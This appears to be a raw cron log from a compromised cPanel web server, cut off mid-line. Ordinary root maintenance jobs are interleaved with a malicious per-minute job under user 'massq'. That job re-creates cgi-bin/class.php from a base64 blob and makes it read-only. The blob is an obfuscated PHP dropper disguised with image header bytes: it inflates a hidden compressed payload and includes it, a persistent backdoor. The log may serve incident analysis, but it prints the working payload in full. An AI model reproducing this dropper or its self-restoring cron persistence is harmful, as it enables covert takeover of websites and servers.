Apr  8 05:13:01 server CROND[10403]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 05:14:01 server CROND[10593]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 05:15:01 server CROND[10696]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 05:15:01 server CROND[10697]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 05:15:01 server CROND[10698]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 05:16:01 server CROND[10802]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 05:17:01 server CROND[10863]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 05:18:01 server CROND[10910]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 05:19:01 server CROND[10971]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 05:20:01 server CROND[11020]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 05:20:01 server CROND[11021]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 05:20:01 server CROND[11023]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 05:20:01 server CROND[11025]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 05:20:01 server CROND[11024]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 05:21:01 server CROND[11230]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 05:22:01 server CROND[11293]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 05:23:01 server CROND[11354]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 05:24:01 server CROND[11418]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 05:25:01 server CROND[11496]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 05:25:01 server CROND[11497]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 05:25:01 server CROND[11495]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 05:26:01 server CROND[11698]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQK